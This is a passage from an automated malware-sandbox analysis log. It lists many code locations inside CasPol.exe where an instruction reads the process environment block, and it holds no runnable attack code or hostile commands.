Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154C310 mov ecx, dword ptr fs:[00000030h]	10_2_0154C310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01570310 mov ecx, dword ptr fs:[00000030h]	10_2_01570310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161132D mov eax, dword ptr fs:[00000030h]	10_2_0161132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161132D mov eax, dword ptr fs:[00000030h]	10_2_0161132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158A30B mov eax, dword ptr fs:[00000030h]	10_2_0158A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158A30B mov eax, dword ptr fs:[00000030h]	10_2_0158A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158A30B mov eax, dword ptr fs:[00000030h]	10_2_0158A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D930B mov eax, dword ptr fs:[00000030h]	10_2_015D930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D930B mov eax, dword ptr fs:[00000030h]	10_2_015D930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D930B mov eax, dword ptr fs:[00000030h]	10_2_015D930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01547330 mov eax, dword ptr fs:[00000030h]	10_2_01547330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F32A mov eax, dword ptr fs:[00000030h]	10_2_0157F32A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160F3E6 mov eax, dword ptr fs:[00000030h]	10_2_0160F3E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0155A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0155A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0155A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0155A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0155A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0155A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015583C0 mov eax, dword ptr fs:[00000030h]	10_2_015583C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015583C0 mov eax, dword ptr fs:[00000030h]	10_2_015583C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015583C0 mov eax, dword ptr fs:[00000030h]	10_2_015583C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015583C0 mov eax, dword ptr fs:[00000030h]	10_2_015583C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016253FC mov eax, dword ptr fs:[00000030h]	10_2_016253FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156E3F0 mov eax, dword ptr fs:[00000030h]	10_2_0156E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156E3F0 mov eax, dword ptr fs:[00000030h]	10_2_0156E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156E3F0 mov eax, dword ptr fs:[00000030h]	10_2_0156E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015863FF mov eax, dword ptr fs:[00000030h]	10_2_015863FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160C3CD mov eax, dword ptr fs:[00000030h]	10_2_0160C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160B3D0 mov ecx, dword ptr fs:[00000030h]	10_2_0160B3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015603E9 mov eax, dword ptr fs:[00000030h]	10_2_015603E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015603E9 mov eax, dword ptr fs:[00000030h]	10_2_015603E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015603E9 mov eax, dword ptr fs:[00000030h]	10_2_015603E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015603E9 mov eax, dword ptr fs:[00000030h]	10_2_015603E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015603E9 mov eax, dword ptr fs:[00000030h]	10_2_015603E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015603E9 mov eax, dword ptr fs:[00000030h]	10_2_015603E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015603E9 mov eax, dword ptr fs:[00000030h]	10_2_015603E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015603E9 mov eax, dword ptr fs:[00000030h]	10_2_015603E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015A739A mov eax, dword ptr fs:[00000030h]	10_2_015A739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015A739A mov eax, dword ptr fs:[00000030h]	10_2_015A739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01548397 mov eax, dword ptr fs:[00000030h]	10_2_01548397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01548397 mov eax, dword ptr fs:[00000030h]	10_2_01548397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01548397 mov eax, dword ptr fs:[00000030h]	10_2_01548397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157438F mov eax, dword ptr fs:[00000030h]	10_2_0157438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157438F mov eax, dword ptr fs:[00000030h]	10_2_0157438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154E388 mov eax, dword ptr fs:[00000030h]	10_2_0154E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154E388 mov eax, dword ptr fs:[00000030h]	10_2_0154E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154E388 mov eax, dword ptr fs:[00000030h]	10_2_0154E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015733A5 mov eax, dword ptr fs:[00000030h]	10_2_015733A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015833A0 mov eax, dword ptr fs:[00000030h]	10_2_015833A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015833A0 mov eax, dword ptr fs:[00000030h]	10_2_015833A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0162539D mov eax, dword ptr fs:[00000030h]	10_2_0162539D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154A250 mov eax, dword ptr fs:[00000030h]	10_2_0154A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161D26B mov eax, dword ptr fs:[00000030h]	10_2_0161D26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161D26B mov eax, dword ptr fs:[00000030h]	10_2_0161D26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01556259 mov eax, dword ptr fs:[00000030h]	10_2_01556259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01549240 mov eax, dword ptr fs:[00000030h]	10_2_01549240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01549240 mov eax, dword ptr fs:[00000030h]	10_2_01549240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01600274 mov eax, dword ptr fs:[00000030h]	10_2_01600274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158724D mov eax, dword ptr fs:[00000030h]	10_2_0158724D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01579274 mov eax, dword ptr fs:[00000030h]	10_2_01579274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01591270 mov eax, dword ptr fs:[00000030h]	10_2_01591270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01591270 mov eax, dword ptr fs:[00000030h]	10_2_01591270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01554260 mov eax, dword ptr fs:[00000030h]	10_2_01554260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01554260 mov eax, dword ptr fs:[00000030h]	10_2_01554260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01554260 mov eax, dword ptr fs:[00000030h]	10_2_01554260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160B256 mov eax, dword ptr fs:[00000030h]	10_2_0160B256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160B256 mov eax, dword ptr fs:[00000030h]	10_2_0160B256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154826B mov eax, dword ptr fs:[00000030h]	10_2_0154826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01625227 mov eax, dword ptr fs:[00000030h]	10_2_01625227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01587208 mov eax, dword ptr fs:[00000030h]	10_2_01587208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01587208 mov eax, dword ptr fs:[00000030h]	10_2_01587208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154823B mov eax, dword ptr fs:[00000030h]	10_2_0154823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016252E2 mov eax, dword ptr fs:[00000030h]	10_2_016252E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F2D0 mov eax, dword ptr fs:[00000030h]	10_2_0157F2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F2D0 mov eax, dword ptr fs:[00000030h]	10_2_0157F2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154B2D3 mov eax, dword ptr fs:[00000030h]	10_2_0154B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154B2D3 mov eax, dword ptr fs:[00000030h]	10_2_0154B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154B2D3 mov eax, dword ptr fs:[00000030h]	10_2_0154B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016012ED mov eax, dword ptr fs:[00000030h]	10_2_016012ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015592C5 mov eax, dword ptr fs:[00000030h]	10_2_015592C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015592C5 mov eax, dword ptr fs:[00000030h]	10_2_015592C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0155A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0155A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0155A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0155A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155A2C3 mov eax, dword ptr fs:[00000030h]	10_2_0155A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0157B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0157B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0157B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0157B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0157B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0157B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B2C0 mov eax, dword ptr fs:[00000030h]	10_2_0157B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160F2F8 mov eax, dword ptr fs:[00000030h]	10_2_0160F2F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015492FF mov eax, dword ptr fs:[00000030h]	10_2_015492FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015602E1 mov eax, dword ptr fs:[00000030h]	10_2_015602E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015602E1 mov eax, dword ptr fs:[00000030h]	10_2_015602E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015602E1 mov eax, dword ptr fs:[00000030h]	10_2_015602E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158329E mov eax, dword ptr fs:[00000030h]	10_2_0158329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158329E mov eax, dword ptr fs:[00000030h]	10_2_0158329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016192A6 mov eax, dword ptr fs:[00000030h]	10_2_016192A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016192A6 mov eax, dword ptr fs:[00000030h]	10_2_016192A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016192A6 mov eax, dword ptr fs:[00000030h]	10_2_016192A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016192A6 mov eax, dword ptr fs:[00000030h]	10_2_016192A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E284 mov eax, dword ptr fs:[00000030h]	10_2_0158E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E284 mov eax, dword ptr fs:[00000030h]	10_2_0158E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D0283 mov eax, dword ptr fs:[00000030h]	10_2_015D0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D0283 mov eax, dword ptr fs:[00000030h]	10_2_015D0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D0283 mov eax, dword ptr fs:[00000030h]	10_2_015D0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01625283 mov eax, dword ptr fs:[00000030h]	10_2_01625283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D92BC mov eax, dword ptr fs:[00000030h]	10_2_015D92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D92BC mov eax, dword ptr fs:[00000030h]	10_2_015D92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D92BC mov ecx, dword ptr fs:[00000030h]	10_2_015D92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D92BC mov ecx, dword ptr fs:[00000030h]	10_2_015D92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015602A0 mov eax, dword ptr fs:[00000030h]	10_2_015602A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015602A0 mov eax, dword ptr fs:[00000030h]	10_2_015602A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015652A0 mov eax, dword ptr fs:[00000030h]	10_2_015652A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015652A0 mov eax, dword ptr fs:[00000030h]	10_2_015652A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015652A0 mov eax, dword ptr fs:[00000030h]	10_2_015652A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015652A0 mov eax, dword ptr fs:[00000030h]	10_2_015652A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E62A0 mov eax, dword ptr fs:[00000030h]	10_2_015E62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E62A0 mov ecx, dword ptr fs:[00000030h]	10_2_015E62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E62A0 mov eax, dword ptr fs:[00000030h]	10_2_015E62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E62A0 mov eax, dword ptr fs:[00000030h]	10_2_015E62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E62A0 mov eax, dword ptr fs:[00000030h]	10_2_015E62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E62A0 mov eax, dword ptr fs:[00000030h]	10_2_015E62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E72A0 mov eax, dword ptr fs:[00000030h]	10_2_015E72A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E72A0 mov eax, dword ptr fs:[00000030h]	10_2_015E72A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01558550 mov eax, dword ptr fs:[00000030h]	10_2_01558550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01558550 mov eax, dword ptr fs:[00000030h]	10_2_01558550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158B570 mov eax, dword ptr fs:[00000030h]	10_2_0158B570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158B570 mov eax, dword ptr fs:[00000030h]	10_2_0158B570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158656A mov eax, dword ptr fs:[00000030h]	10_2_0158656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158656A mov eax, dword ptr fs:[00000030h]	10_2_0158656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158656A mov eax, dword ptr fs:[00000030h]	10_2_0158656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154B562 mov eax, dword ptr fs:[00000030h]	10_2_0154B562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160B52F mov eax, dword ptr fs:[00000030h]	10_2_0160B52F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01625537 mov eax, dword ptr fs:[00000030h]	10_2_01625537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01587505 mov eax, dword ptr fs:[00000030h]	10_2_01587505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01587505 mov ecx, dword ptr fs:[00000030h]	10_2_01587505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155D534 mov eax, dword ptr fs:[00000030h]	10_2_0155D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155D534 mov eax, dword ptr fs:[00000030h]	10_2_0155D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155D534 mov eax, dword ptr fs:[00000030h]	10_2_0155D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155D534 mov eax, dword ptr fs:[00000030h]	10_2_0155D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155D534 mov eax, dword ptr fs:[00000030h]	10_2_0155D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155D534 mov eax, dword ptr fs:[00000030h]	10_2_0155D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01624500 mov eax, dword ptr fs:[00000030h]	10_2_01624500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01624500 mov eax, dword ptr fs:[00000030h]	10_2_01624500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01624500 mov eax, dword ptr fs:[00000030h]	10_2_01624500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01624500 mov eax, dword ptr fs:[00000030h]	10_2_01624500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01624500 mov eax, dword ptr fs:[00000030h]	10_2_01624500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01624500 mov eax, dword ptr fs:[00000030h]	10_2_01624500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01624500 mov eax, dword ptr fs:[00000030h]	10_2_01624500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560535 mov eax, dword ptr fs:[00000030h]	10_2_01560535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560535 mov eax, dword ptr fs:[00000030h]	10_2_01560535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560535 mov eax, dword ptr fs:[00000030h]	10_2_01560535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560535 mov eax, dword ptr fs:[00000030h]	10_2_01560535
